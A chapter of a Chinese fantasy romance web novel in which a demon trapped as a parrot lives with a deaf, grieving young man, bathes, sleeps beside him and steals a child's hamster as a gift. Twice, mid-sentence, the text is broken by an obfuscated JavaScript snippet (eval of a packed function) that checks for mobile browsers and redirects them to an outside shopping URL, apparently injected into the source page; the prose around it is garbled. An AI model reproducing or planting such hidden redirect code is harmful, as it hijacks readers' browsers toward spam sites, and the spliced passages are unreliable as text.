“不是给你喝的,洗澡用的。” 江与停活了这么久,还是第一次用上这么大,这么舒服的洗澡池。 在此之前,他对洗澡这件事的认知,还停留在雨天里随便淋一淋,皮毛上沾点水就算干净的程度。 他是妖,是高高在上被无数小妖暗中仰望的存在,即便落魄到变成一只不起眼的小鸟,骨子里的骄傲也从未真正消失。 可当温热的水一点点漫上来,轻柔地包裹住他小小的身体时,他所有的矜持与骄傲,都在那一瞬间被彻底融化了。 水的温度刚刚好,不烫也不冷,那舒服的水温让他想到了自己家里睡觉用的真皮毛毯。 他试探性地扑腾了一下小翅膀,水里立刻溅起一串细小的水珠,那水珠在头顶暖黄的灯光下折射出细碎的光。 他从来不知道,原来被水这样温柔包裹着,是这样舒服的一件事。 “啾啾。” 一声清脆又满足的鸣叫声从他喉咙里轻轻滚出来。 【原来是这样洗澡的啊……人类也太会享受了吧,舒服,真的太舒服了。】 他在水里自由自在地游来游去,一会儿把小脑袋埋进水里,一会儿又猛地仰起来,黑亮的眼睛滴溜溜地转,他对眼前的一切都充满了新奇。 他的翅膀拍打在水面上发出轻微的哗啦声,小小的身子在水里浮浮沉沉。 他一整个都直接玩嗨了,以前的时候他其实很讨厌水的,但是它没有想到人类洗澡用的东西会这么舒服。 裴一舟就蹲在池子边,安安静静地看着他,他实在不知道就是一盆子水怎么会玩的这么嗨的。 男人的身形清瘦,侧脸线条干净利落,灯光落在他长长的睫毛上投下一小片淡淡的阴影,那双漂亮的眼睛此刻看起来也有了那么一丝温度。 他动作很轻,指尖微微弯曲,一点一点的撩起水花,耐心十足地帮江与停清洗羽毛上沾到的灰尘与污渍。 他的手指修长,干净,骨节分明,力道却控制得极好,每一下都轻柔得像是怕碰碎了什么易碎的珍宝。 江与停一开始还有些紧张,小小的身子微微紧绷,可随着那温柔的触碰一点点蔓延全身,再加上温水带来的舒适感,他整只鸟都渐渐放松下来,甚至舒服得快要眯起眼睛。 他甚至主动往裴一舟的指尖凑了凑,像是在撒娇,又像是在依赖。 “啾啾。” 【人,你真好。】 裴一舟看着怀里这只小小的,软乎乎的鸟,眼底深处那层常年不散的淡漠在此时悄然裂开了一道细微的缝隙。 在他的指尖处仿佛还感觉到了软软的触感。 他以前从来没有养过任何的宠物,只养过一个像是小动物一样的人。 受惊了会眨着大大的眼睛,开心了会眼睛弯弯的找他撒娇。 他这些年把自己全力的放在工作中,习惯了独来独往,习惯了沉默,习惯了把所有情绪都藏在心底最深处。 他的世界一向冷清,安静得只剩下自己的呼吸与心跳。 可自从这只莫名其妙出现在他身边的小鸟到来之后,一切都在悄无声息地发生改变。 屋子里多了声音,多了动静,多了一团毛茸茸的温度。 多了一点……他从未奢望过的热闹。 等江与停身上的污渍彻底清洗干净,裴一舟才小心翼翼地将他从水里抱起来。 小鸟浑身湿漉漉的,羽毛紧紧贴在身上,看上去小小的一团,可怜又可爱。 他看着他的眼神,仿若又看到了那个已经去世的少年。 裴一舟摇了摇头。 “不会的,不会是他的。” 他拿过提前准备好的柔软干毛巾,轻轻将江与停裹住,一点点吸干多余的水分,动作温柔得不像话,就像是手下的是那个人一样。 做完这一切他拿起吹风机,调至最低的温度与最小的风力,避免热风伤到小鸟脆弱的羽毛。 暖风轻轻拂过羽毛的触感,酥酥麻麻,又轻又暖。 江与停舒服得浑身轻轻一颤,小小的脑袋不自觉地往裴一舟的掌心蹭了蹭。 原本湿漉漉沉甸甸的羽毛,在暖风的吹拂下一点点蓬松起来,重新变得柔软轻盈又干净。 等吹风机停下的那一刻,他只觉得整个鸟身子都轻了不少,像是被抽走了所有沉重与疲惫,连翅膀都变得格外有力。 下一秒,他猛地扑棱一下翅膀,直接从裴一舟的掌心飞了起来。 轻飘飘的,稳稳的,速度比之前快了不止一点,那感觉舒服的江与停直接站在门框上唱了一首歌。 他在空旷的客厅里畅快地飞行,左转一圈,右转一圈,时而低空掠过地面擦着地板轻盈飞过,时而猛地向上冲起几乎要碰到天花板。 屋子里东西少,反倒成了最方便的事,他可以毫无顾忌地横冲直撞,不用担心撞到什么坚硬的家具,也不用小心翼翼地缩着翅膀,生怕一不小心就弄伤自己。 裴一舟忽略了这只鸟发疯的举动,他去搜过,这个种类的鹦鹉就是动不动会有些发疯的属性。 他收拾完东西之后就打开了电视机,他没有带助听器,当然也根本没有把任何的东西看进脑子里去。 他低头从抽屉里捞出一个药瓶子,打开之后倒了3粒药下来,然后仰头喝了下去。 他觉得最近吃药可能是吃出来抗体了,好像都没有什么用了。 江与停飞了好一会儿,直到翅膀微微发酸,他才意犹未尽地落在电视机顶上。 小爪子紧紧抓着电视机边缘,小小的身子站得笔直,歪着脑袋,好奇地打量着眼前这个方方正正会发光会发出声音的东西。 他以前在手机里见过电视,知道这个方盒子里会有人影走动,会有声音传出,可真正站在它面前,近距离盯着它看还是第一次。 屏幕里的人在说话,在笑,在走动,画面鲜活又生动,可江与停绕着电视机飞了整整一圈,上上下下、左左右右、前前后后都仔仔细细地检查了一遍,愣是没有找到任何能让人钻进去的口子。 没有门,没有洞,什么都没有。 可那些人,偏偏就像是真的待在里面一样。 太神奇了,太奇怪了。 他看了半天一时没有忍住,直接一头冲着电视机撞了进去,结果就那么华丽丽的滑落了下去。 他以前开直播的时候,也想不明白自己是怎么钻进电脑里,让那么多素未谋面的人看见自己一样。 人类的东西,总是这样让鸟摸不着头脑。 他小小的脑袋瓜里转了半天,怎么也想不通这其中的道理,只好悻悻地放弃研究,转头去找裴一舟。 可身后空空荡荡,早已没了人影。 江与停愣了一下,小小的身子僵在电视机顶上。 那双黑亮的眼睛转了转,目光下意识地投向裴一舟的卧室。 裴一舟的房门没有关严,留着一条细细的,浅浅的缝。 微弱的暖光从门缝里透出来,在地板上投下一道细长的光痕,安静又温柔。 江与停通过这几天的观察就知道了裴一舟很不喜欢他进自己的卧室,以前睡觉,从来都是把房门关得严严实实,密不透风,像是要把整个世界都隔绝在外。 这好像是他第一次,睡觉的时候没有把门关得死死的。 像在无声地留一道门。 江与停站在原地,小脑袋微微歪着,安安静静地思考了几秒。 他是宠物,宠物就应该跟主人住在一起。 既然是宠物,那就要专心致志,认认真真,尽职尽责地演好一只合格的宠物。 要黏人,要亲近,要懂得依赖主人,好像宠物都是这样的。 这么一想,他立刻扇动翅膀,轻盈地飞到门边,小小的身子顺着那条不算宽的门缝,一点一点、小心翼翼地挤了进去。 他回头崩的一声关上了门,反正他也听不到,无论多大的动静对于他来说都无所谓。 卧室里静极了。 安静得都可以听见窗外微弱的风声,也能听到那一声一声平稳、细微的呼吸声。 江与停飞进来,轻轻落在床边的窗帘杆上。 他今天醒来的时候,就是在这个房间,可那时候意识模糊,浑身酸痛,根本没来得及仔细打量,此刻静下心来,一点点看过去,他才发现,裴一舟的房间简单得不像话,简单到他两只爪子都能清清楚楚地数得过来。 一张床,一个床头柜,一把椅子,一张书桌,一盏台灯。 除此之外,几乎再也没有别的东西,不过令他意外的是墙上有很多奇怪涂鸦,像是小孩儿随手捣乱画的,反正不像裴一舟的风格。 没有多余的装饰,没有花哨的摆件,没有色彩鲜艳的挂画,没有柔软舒适的地毯,整个房间色调偏冷,干净、整洁,却也冷清得不像一个年轻人该有的房间。 这完全都鲜活是一个临时落脚的住所,而不是一个真正的“家”。 不过被他养的那一刻他就已经知道了。 穷就穷点,能吃饱就行。 裴一舟躺在床上,双眼轻闭,安安静静地睡着。 他生得极好,眉眼干净,鼻梁挺直,唇线清晰,下颌线条利落又柔和,灯光柔和地洒在他脸上,褪去了平日里几分冷淡疏离,多了几分难得的温顺。 江与停看着看着,莫名就想起了以前听其他小妖闲聊时讲过的那个睡美人的故事。 故事里的睡美人,沉睡在城堡里,等待着命中注定的人来唤醒,她一定长得很美很美。 而眼前的裴一舟,大概也就长这样吧,不过故事里的睡美人说不定还没有他好看。 只不过他发现了一个问题,也不知道为什么,即便睡着了,裴一舟看上去也一点都不开心。 裴一舟的眉心轻轻蹙着,形成一道浅浅的褶皱,像是被什么烦心事缠绕着,纠缠着,不肯放开,就连梦境都不肯给他片刻的安宁,他连睡着的时候,都要背负着那些沉重的东西。 江与停就那么安安静静地看着他。 从左边看到右边,从上边看到下边,看了好一会儿,小小的脑袋里似乎在认真挑选一个最佳位置。 他飞了这么久,也有点累了,他想找一个舒服的地方睡觉。 最终,他选定了一个在他看来最有安全感的位置。 他扇动翅膀,从高处轻轻落下,小小的身子在空中划出一道轻盈的弧线,稳稳地停在了裴一舟的脖子旁。 裴一舟的锁骨线条清晰,肩颈宽阔,皮肤微凉,却又带着淡淡的体温,他小小的身子一躺上去,刚好能安安稳稳地窝在那处柔软的颈窝,被轻轻包裹着。 像是找到了全世界最温暖的小窝。 江与停满足地蹭了蹭,柔软的羽毛轻轻扫过裴一舟的肌肤。 “啾啾。” 一声轻软又满足的鸣叫,在安静的卧室里轻轻响起。 【嗯……真舒服,妖生也不过如此了。】 画面像是被一只无形的手轻轻一转,场景悄然变换。 裴一舟坐在书桌前,安安静静地写着东西。 灯光落在他侧脸上,柔和了他平日里略显冷淡的轮廓,笔尖在纸上轻轻滑动,发出细微而规律的沙沙声,他神情专注,眉眼低垂,看上去认真又沉静。 旁边,一个漂亮得不像话的少年正趴在床上,百无聊赖地看着他。 少年光着脚,脚踝纤细,脚趾微微蜷着,皮肤白皙,像是上好的玉石,一双眼睛亮晶晶的,像盛着漫天星光,长而密的睫毛轻轻颤动,可爱又漂亮,任谁都忽略不掉。 他看了一会儿,实在觉得无聊,忍不住轻轻哼唧了一声。 一声,两声,三声…… 声音越来越大,越来越明显,像是在刻意引起某人的注意。 裴一舟终于停下笔,低低地轻笑了一声,那笑声很轻,很淡,却带着几分不易察觉的温柔。 他缓缓回过头,目光落在少年身上。 “怎么了?” 少年的脚丫在空中随意地晃着,长长的睫毛垂下来,又猛地抬起,眼神无辜又可爱,带着一点小小的委屈。 “裴一舟,我好无聊,你陪我玩好不好。” 裴一舟看着他,眼底不自觉地染上一层浅淡的温柔。 他知道他不认识字,仅有的认识的那几个字还是他教的。 少年凑过来一点,手里还拿着手机,眨巴着眼睛望着他,语气天真又好奇:“你这是写的什么啊?我怎么一个字都不认识。” 裴一舟抬头,目光落在眼前这个漂亮又干净的少年身上,声音放得很轻,轻得几乎要融进灯光里:“只是一些无关紧要的东西。” 少年嘿嘿笑了笑,然后突然坐直了身体,那起笔写写画画了起来。 “你猜我写的什么东西。” 裴一舟低头看了一眼,鬼画符一个,他虽然不奢求他写字,但是这鬼画符也着实让他意外到了。 “看不出来。” 少年拿着笔敲在了他的脑袋上。 “笨,其实我也不知道这是什么,我瞎写的,嘿嘿,我重新给你写,你再看看。” 他低着脑袋,头发乌黑,那灯光好像要直接被吸进他的发旋里。 “你再看看。” 裴一舟低头看过去,虽然不是字,但是上面画着一幅画,他可以认出来上面的画。 “你写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288239|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是裴一舟。” 少年浅浅的笑了笑。 “你真聪明,那你也画一个我猜猜嘛。” 下一秒,仿佛是镜头的突然转换,场景从温馨的室内换到了室外。 火,一场超大的火,耳边全都是叫喊声,他冲进火场里找着他的身影,可是找不到,他一点都找不到。 他找不到他了,再也没有找到。 江与停窝在裴一舟颈窝,柔软的羽毛贴着温暖的肌肤,闻着对方身上淡淡的干净的气息,没一会儿就困意袭来,安安稳稳地睡了过去。 他小小的身子微微蜷缩着,呼吸均匀而轻浅。 只是他不知道他刚睡熟,原本闭着眼呼吸平稳的裴一舟却缓缓睁开了眼睛。 他没有动,没有转头,没有发出任何声音。 可不用看,不用摸,他也能清晰地感知到脖子旁那团小小的,毛茸茸的温度。 柔软,温热,真实,真实得不像梦。 最近这段日子,对裴一舟来说,睡眠从来都不是休息。 而是一场又一场残酷的凌迟,往昔有多么的美好,现实就有多么的残酷。 那些挥之不去的画面,那些沉重得让人喘不过气的记忆,那些无法言说的痛苦与孤独,总会在深夜里悄无声息地缠上他,勒得他几乎窒息。 他睡得不安稳,睡得不踏实,整夜整夜地被噩梦纠缠,醒来时,往往一身冷汗,心脏狂跳。 睡眠,对他而言,早已不是慰藉,而是另一种煎熬,可是他依旧想在睡梦中见到他,哪怕没次醒来的时候都要被重新凌迟一遍。 可今天不一样。 身边有一团小小的、温暖的东西靠着,安安静静,软软糯糯。 没有声音,没有打扰,只有平稳的呼吸,与淡淡的温度,虽然梦里依旧让他心惊,但是对比与他的从前,梦境已经是前所未有地平和,平和得让他舍不得醒过来,平和得让他甚至产生了一种错觉。 好像这样一直下去,也不错。 他沉默地躺了一会儿,感受着颈窝处那团小小的存在,心底某块坚硬冰冷的地方,正在一点点软化。 许久,他才小心翼翼极其轻缓地抬起手,将江与停轻轻挪到床边。 确保他安稳地躺着,不会掉下去,不会被压到,他才轻手轻脚地下了床。 脚步很轻几乎没有声音,他走到窗边抬手推开一点缝隙。 夜晚的风微凉,带着一点深夜的清寒,那风吹在脸上,稍微驱散了一点心底沉闷压抑的情绪。 他从口袋里摸出烟,指尖微微一顿,还是点燃了,他不喜欢抽烟,但是只有在自己坚持不下去的时候才会抽那么几次。 微弱的火光在黑暗中一闪而逝,他安静地站在窗前一口一口地抽着。 烟雾在夜色里轻轻散开,被风吹散,消失在无边的黑暗中。 他站了很久,久到窗外的天色都微微泛起一点淡淡的鱼肚白,久到指尖的烟燃到尽头,烫到指尖,他才终于掐灭烟,晚上的风很快就吹散了他身上的烟味,他这才转身走回床边。 床上,那只小鸟依旧睡得安稳,像是一无所知,无忧无虑,如果人可以一直这样就好了。 裴一舟站在床边,静静地看了他很久。 第二天早上。 天刚蒙蒙亮,窗外的天空呈现出一片淡淡的浅蓝。 江与停醒来的时候,身边已经空了,床上还残留着一点点淡淡的属于裴一舟的体温,可那个人,早已不在房间里。 他愣了愣,小小的身子在床上动了动,翅膀轻轻扑棱了一下。 “啾?” 【人呢?】 他有些迷茫地环顾四周,房间里还是老样子,安静,整洁,冷清,只不过没有裴一舟的身影,也没有他的声音,只有清晨微弱的光线。 江与停立刻扑棱一下翅膀,从床上飞了起来,径直朝着门外飞去。 客厅里,已经有了淡淡的食物香气。 桌子上,摆好了温热的早饭,一碗粥,一碟小菜,还有一小盆奶油小馒头。 他最喜欢吃奶油小馒头了,他迫不及待的飞到桌子上拿起一个小馒头,刚准备吃结果就看到了盆子下面有一个纸条。 那纸条好像裴一舟知道他会第一时间吃这个一样,特意放在这里的。 江与停不认识字。 长这么大,他几乎没怎么接触过人类的文字,那些横横竖竖的符号,在他眼里和乱七八糟的线条没什么区别。可这张纸条上的东西,他却偏偏看懂了。 因为那不是字。 是画。 简简单单几笔,画着一只歪歪扭扭的小鸟,旁边画着一碗饭,下面还有一个小小的,笨拙的笑脸。 裴一舟知道他看不懂字,所以,特意用画的。 江与停落在纸条旁边,小小的脑袋低着,盯着那张纸条看了好一会儿。 心里莫名有点软。 像是被什么东西轻轻戳了一下,酸酸的,暖暖的,有点陌生,却又并不讨厌。 “啾啾啾。” 【真的是太贴心了。】 他乖乖地飞到桌边,安安静静地吃着早饭。 裴一舟一进门,赵铭就立刻放下酒杯,站起身迎了上来。 他上下打量了裴一舟一眼,眉头轻轻皱起,语气里带着几分明显的担忧:“你是不是昨天又没好好睡觉?我看你这状态,差得不行,真该找点事情分散一下注意力了,比如……谈个恋爱什么的。” 裴一舟语气平淡,没有丝毫波澜,只不过声音依旧清冷:“不需要。” “别这么冷淡啊。” 赵铭无奈地叹了口气,转身给他倒了一杯酒,推到他面前,“你出来散心,你家老爷子才把我扔在这里盯着你,下次你要是真跑去岛上当什么岛主,我是不是还得跟着你一起去开荒?” 裴一舟给了他一个眼神。 “不用。” “行了行了,不逗你了。” 赵铭忽然神秘兮兮地凑近,刻意的压低声音,“我今天给你带了个礼物。” 裴一舟理解他,所以也并不期待他所谓的礼物,他也没有说话就那么静静的坐在那里喝着酒。 赵铭等了半天也没有等到他的回音,他憋了半天实在忍不住了。 “少爷,你不问问是什么吗?” 裴一舟这次才大发慈悲的问了一下他。 “什么?” 赵铭没有说话,而是贼兮兮的笑了笑,然后拍了拍手掌。 下一秒,屋内的门打开,从外面走进来一个年纪不大的小孩儿。 那小孩儿穿着干干净净的衣服,大眼睛,白皮肤,一身干净清爽的气息。 赵铭:“怎么样,知道你喜欢纯的,特意给你找的。” 说完之后又看向门口的少年,他勾了勾手指。 “过来啊,过来敬….。” 他话还没说完,裴一舟手里的杯子就重重的砸在了桌子上。 10. 鸟的礼物 他看着赵铭,眼神里带着一股寒意。 “我希望你这是在跟我开玩笑。” 赵铭看着他的眼神忍不住抖了一下,赶紧让门口的小男孩儿走了。 “走吧,走吧,怎么没点眼力劲那。” 他再也不敢吊儿郎当的坐着,在位置上坐的笔直,生怕再干什么事情触了这位大少爷的禁忌。 他放下酒杯,从怀里掏出一个精致的信封递了过去。 “刚才那是开玩笑,这才是正事,看看,邀请函,多少人挤破头都想去的地方,我特意给你弄来的,去玩玩,散散心,总比一个人闷在家里强。” 裴一舟连看都没看一眼,直接拒绝,语气没有任何商量的余地:“不去,没兴趣。” 赵铭也不管,找准机会塞到了他的兜里。 “你就拿回去看看嘛,万一里面有什么你感兴趣的呢?看一下又废不了你多长时间。” 赵铭不死心,又随口聊起了别的,像是不经意一般提起,其实他就是想赶紧叉开话题,省的少爷再记上他一笔。 “对了,你家养的那只鹦鹉怎么样了?” 提到鹦鹉两个字,裴一舟原本平淡无波的眼神微微柔和了一瞬。 那一点柔和很淡,很轻,稍纵即逝,几乎难以捕捉,恐怕就连他自己都没有察觉到。 “挺好的。” “那就行。” 赵铭点点头,像是想起什么,认真叮嘱:“鹦鹉这种宠物心思细,敏感,你平时多陪陪它,不然很容易抑郁的。” 裴一舟沉默了一瞬,轻轻应了一声,声音低低的很好听。 “好。” 裴一舟没有在家,江与停一个人在家也没闲着,睡醒就起来巡视领地,巡视完累了又继续醒来。 他在屋子里飞过来,飞过去,一会儿落在电视机上,一会儿落在书桌上,一会儿又飞到窗边,看着外面来来往往的人和车,忙的不亦乐乎。 江与停看着看着突然想起来自己好像都没怎么出去过,刚出来还什么都没干就变鹦鹉了,他突然想外出看看,于是就那么决定了,当即飞了出去。 外面天很好,江与停一边飞一边观察着下面的人。 他很奇怪,明明外面有那么好的风景但是每一个人看起来都那么行色匆匆的,也不知道要干嘛去,要不就是专心致志的看手机。 他飞累了就随便找了一颗数栖息了下来。 他站在那里伸了个懒腰,刚打算躺在树杈上眯一觉,结果就隐约传来几句细碎的对话。 声音很轻,带着几分敬畏与小心翼翼,但是江与停确是听明白了。 “你怎么来这里了。” “这你就不知道了吧,那位最高执行官,他好像耳朵听不见了,最近一直在休养,所以我们最近也可以出来稍微活动一下了。” “什么?还有这种事?” “谁说不是,也不知道是哪个伤的他,怎么没有把他弄死,真气人。” 听不见? 这三个字轻飘飘地落进江与停耳朵里,他脑海里第一个冒出来的人,就是裴一舟。 那个安安静静,不爱说话,总是一个人待着的裴一舟。 可下一秒,他又立刻摇了摇小脑袋,把这个荒唐的念头赶走。 不可能。 绝对不可能。 无论是在他的话本里,还是在小妖们的描述里,那都是一个让人闻之色变,青面獠牙,凶神恶煞的样子,怎么可能长得像裴一舟这么好看。 一定只是巧合,对,肯定是巧合。 世界上听不见的人那么多,不可能偏偏就是他,他甩了甩脑袋,不再去想这些乱七八糟的事情。 江与停歇够了又继续在周围转了转,他路过一个小摊,然后就闻到了香喷喷的味道,他肚子微微有些饿,可是鸟又没有钱。 于是江与停就偷偷的落在了摊子前面,趁着摊主不注意,拿着一个包子就跑了。 老板先是愣了一下,然后在后面疯狂狂叫了起来。 “靠,偷包子的鸟,你给我回来。” 周围的人听到这边的动静哈哈的笑了起来。 “看起来真的很好吃啊,连鸟都给引过来了,那我也要买一个尝尝。” “我也尝尝。” 老板本来还在生气,这一看瞬间气就没了,这还是一个带福气的鸟啊。 江与停飞出一段时间才停了下来,他站在树杈上吃了一口,他觉得一定会比裴一舟家的饭好吃的,但是没想到一口下去小脸立刻皱了起来,语气委屈极了:“好难吃。” 可是他还有些不理解,怎么会那么难吃啊。 他想了想,小小的脑袋瓜总结出一个结论。 也许是裴一舟太穷了,以前吃的东西都太普通,现在吃不了这么好的东西了吧。 算了,他还是回家吃吧, 于是他调整了一下方向,翅膀一振,朝着熟悉的方向飞去,阳光落在他蓬松干净的羽毛上,暖融融的,飞行的风轻轻拂过,带着一点午后的慵懒。 他飞得不快,一边飞,一边慢悠悠地打量着沿途的风景。 就在快要飞到小区楼下的时候,他的目光忽然一顿。 路边的草坪边缘,一个小孩子正安安静静地蹲在那里,低着头,手里拿着一小块零食,正兴致勃勃地逗着脚边的小东西。 江与停下意识地放缓速度,盘旋着往下落了一点,好奇地望过去。 那是一只白白圆圆的小仓鼠。 小小的一团,毛发光滑又柔软,圆滚滚的身子蹲在地上,两只短短的前爪捧着东西啃,耳朵小小的,眼睛黑溜溜的,看上去又软又乖,可爱得让人移不开眼。 江与停停在不远处的树枝上,歪着小脑袋看了一会儿。 小孩子笑得开心,小仓鼠也不怕生,在掌心滚来滚去,一人一鼠,画面格外温馨。 而且那小仓鼠还从旁边捡了一个特别好看的花送给了小孩子,小孩子脸上开心的表情不言而喻。 江与停本来只是觉得新奇,啊,原来宠物是需要给主人送礼物的啊。 这个念头一冒出来,就再也压不下去,在他小小的脑袋里越转越清晰。 对啊,他应该给裴一舟送个礼物,这样才算是一只合合格的宠物。 可是江与停小小的眉头皱了起来。 人类到底喜欢什么东西啊? 他活了这么久,当妖的时候,只喜欢灵气浓郁的地方,当鸟的时候,只喜欢舒服温暖的地方。 可裴一舟是人类,还是一个安安静静,冷冷清清,虽然穷,但是看起来什么都不缺的人类。 他没有当过人啊, 人喜欢什么? 江与停歪着脑袋,认认真真地思考起来。 金子?银子?亮晶晶的石头? 他现在只是一只小鸟,根本弄不到那些东西。 漂亮的羽毛? 他自己身上的毛倒是挺好看,可总不能拔下来送给裴一舟吧,那也太疼了,况且这样下去他很快就秃了。 好吃的? 他刚刚偷过一个包子,已经亲身体验过,那玩意儿难吃得要命,裴一舟估计更不喜欢。 江与停越想越纠结,小小的脑袋都快不够用了。 他左右看了看,目光在周围扫了一圈,忽然落在不远处墙根下,一只正慢悠悠散步的橘猫身上。 那只猫毛色橘黄,体态圆润,正懒洋洋地晒着太阳,一副悠闲自在的模样。 江与停眼睛微微一亮。 有了。 他可以问啊。 猫不也是人类最喜欢养的宠物吗? 猫天天跟人类待在一起,肯定知道人类喜欢什么,肯定知道送什么礼物最讨主人开心。 比起他在这里瞎猜,直接去问一只经验丰富的猫,不是更靠谱吗? 江与停越想越觉得这个主意简直完美。 他不再犹豫,翅膀一收,小小的身子在空中划出一道利落又迅速的弧线,直接俯冲而下,“啪”的一声轻轻落在地上。 他落地的声音很轻,可那只橘猫还是瞬间警觉起来。 猫的本能对鸟类本就带着一丝捕猎的天性。 在橘猫眼里,突然从天而降的小鸟,就是一个送上门来的小玩意儿、小猎物。 它原本慵懒的眼神瞬间一凝,耳朵竖起来,身体微微压低,爪子悄悄收起,摆出一副随时准备扑上来的姿态。 在橘猫看来,这只小鸟小小的,瘦瘦的,看上去毫无威胁,一爪子就能按住。 可它万万没有想到,眼前这只看起来又小又软的鸟,根本不是什么普通宠物鸟。 他是一只妖,还是一只战斗力一点都不弱的妖,虽然变成了一只鸟,但是一点都不差。 下一秒,江与停根本没给这只猫任何反应的机会,小小的身子一闪,速度快得只剩下一道虚影。 橘猫只觉得眼前一花,还没来得及扑出去,就被一股不大却异常利落的力量直接按倒在地。 它“喵呜”一声惨叫,吓得浑身毛都炸了起来,四肢乱蹬,却怎么也挣扎不开。 江与停稳稳地落在猫咪的身上,小爪子轻轻一踩,将对方制得服服帖帖。 他居高临下,小小的身子里透出一股不容拒绝的气势,干净利落地开口,声音清脆又带着一点小小的威严:“回答我一个问题,如果你要给人类送礼物,你会送什么,想好再说。” 橘猫趴在地上,吓得呜呜直哭,尾巴紧紧夹着,一动都不敢动。 长这么大,它从来没有被一只鸟按在地上打过,更没有被一只鸟用这种语气审问过。 恐惧压倒了一切,为了不再挨揍,它只能忍着害怕,哆哆嗦嗦地开口。 “老、老鼠……老鼠就是最好的礼物……” “我们猫,都是送老鼠给主人的……” 江与停听完,若有所思地歪了歪头。 老鼠? 好像……也不是不能接受。 他松开爪子,让那只吓得魂飞魄散的猫连滚带爬地跑掉,然后转身,又盯上了旁边路过的一条小狗。 狗也是人类常养的宠物,应该也懂。 江与停直接飞了过去,拦在小狗面前。 小狗本来开开心心摇着尾巴走路,突然被一只鸟拦住,吓了一跳,不等它反应,就被这只凶巴巴的小鸟一顿教育,于是乖乖地回答了问题。 “礼物?屎、屎啊,主人会开心的。” 江与停:“……” 他沉默了。 这个礼物,未免也太离谱了一点。 别说送出去了,他光是想一想,都觉得整只鸟不太好。 他不死心,又飞去问了停在电线杆上的一只野鸟。 那只野鸟被他吓得不轻,哆哆嗦嗦地回答:“虫、虫子……好吃的虫子,就是最好的礼物……” 江与停再次沉默。 虫子。 老鼠。 屎。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288240|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这就是宠物们眼里,最好的礼物? 他一只堂堂的妖,实在无法理解这些普通动物的审美和逻辑。 这三样东西,不管哪一样,被他叼回去送到裴一舟面前,那个人估计不会觉得开心,只会觉得他这只鸟怕不是有什么毛病。 江与停站在树枝上,小小的脑袋里进行了一场严肃又认真的权衡利弊。 狗说的东西,第一个排除,绝对不行。 野鸟说的虫子,也不行,他自己都嫌恶心。 只剩下猫说的——老鼠。 相对而言,好像也就这个,稍微能勉强接受一点。 而且猫是人类最喜欢、最宠爱的动物,听猫的准没错。 江与停这么一想,瞬间就下定了决心。 就送老鼠。 他目光一转,重新落回不远处,那个小孩子脚边那只白白圆圆。看上去又软又乖的小仓鼠身上。 江与荣眼睛微微一眯。 就是你了。 仓鼠,不也是鼠吗? 而且那小模样长得也好啊,得比那些灰溜溜的老鼠好看多了,又白又软,圆滚滚的,看上去就很讨喜。 裴一舟那么好看,收到这么一只可爱的小仓鼠当礼物,一定会非常非常喜欢。 说不定还会觉得他这只鸟,又聪明、又贴心,又能干。 江与停越想越觉得自己这个主意简直太棒了。 他深吸一口气,小小的身子绷直,做好了准备。 下一秒。 他翅膀猛地一扇,化作一道小小的黑影,飞速旋转俯冲而下,稳稳落在地上。 那个小孩子正全神贯注地逗着仓鼠,完全没有注意到一只鸟悄无声息地靠近。 江与停动作快得惊人。 小爪子一伸,精准地抓住小仓鼠背上软软的皮毛,不等小孩子有任何反应,猛地一扇翅膀,带着小小的仓鼠,直接腾空而起。 小孩子愣了好几秒才反应过来,抬头一看,只看到一只鸟叼着他的小仓鼠,飞得又快又稳,转眼间就飞远了。 江与停才不管身后小孩子有没有哭。 他只知道,自己给裴一舟准备了一份超级棒的礼物。 他飞得稳稳当当,开开心心一路朝着家里飞去。 一回到屋子里,空荡荡的,裴一舟果然还没有回来,江与停也没关,立刻开始忙活起来。 他把小仓鼠轻轻放在客厅的桌子正中央,生怕委屈了这份礼物。 小仓鼠吓得瑟瑟发抖,缩成一团,圆溜溜的眼睛里满是惊恐,完全不明白自己为什么会突然被一只鸟绑架到这么一个陌生又可怕的地方。 江与停看着这只白白软软的小仓鼠,越看越满意。 不行,这么送出去,不够正式。 宠物给主人的礼物,一定要精致,要有仪式感。 他四处看了看,目光落在桌子角落,不知道什么时候掉落的一小段彩色丝带。 应该是之前什么东西包装上留下来的,颜色粉嫩,看上去很漂亮。 江与停飞过去,用小爪子和嘴巴一起努力,笨手笨脚却异常认真地折腾了半天。 终于,他把那根精致的小花丝带,认认真真、整整齐齐地绑在了小仓鼠的身上,还特意打了一个歪歪扭扭,却十分可爱的蝴蝶结。 白白的仓鼠,配上粉嫩的丝带,看上去瞬间就像一份精心准备的礼物。 江与停退后两步,飞到对面的沙发背上,歪着脑袋,认认真真欣赏自己的杰作。 完美。 太完美了。 裴一舟回来看到,一定会非常惊喜,非常开心。 说不定还会伸手摸摸他的羽毛,夸他是一只聪明又懂事的好鸟。 江与停越想越开心,小小的身子都忍不住轻轻晃了晃。 他安安静静地守在一旁,一边等着裴一舟回来,一边时不时低头看一眼桌子上绑着小花瑟瑟发抖的小仓鼠,眼神里满是期待。 屋子里安安静静。 只有小仓鼠细微的发抖声和小鸟轻轻跳动的声音。 空气里,都飘着一股即将送出礼物的紧张与期待。 江与停竖起耳朵,一心一意地等着门外那道熟悉的脚步声,和钥匙转动的声音。 他已经迫不及待想要看到裴一舟推开门,看到这份惊喜礼物时,会是什么样的表情。 应该是会跟那个小孩儿一样惊喜的表情吧,他也一定觉得自己是一只非常棒的宠物鸟,然后给自己好多好多好吃的。 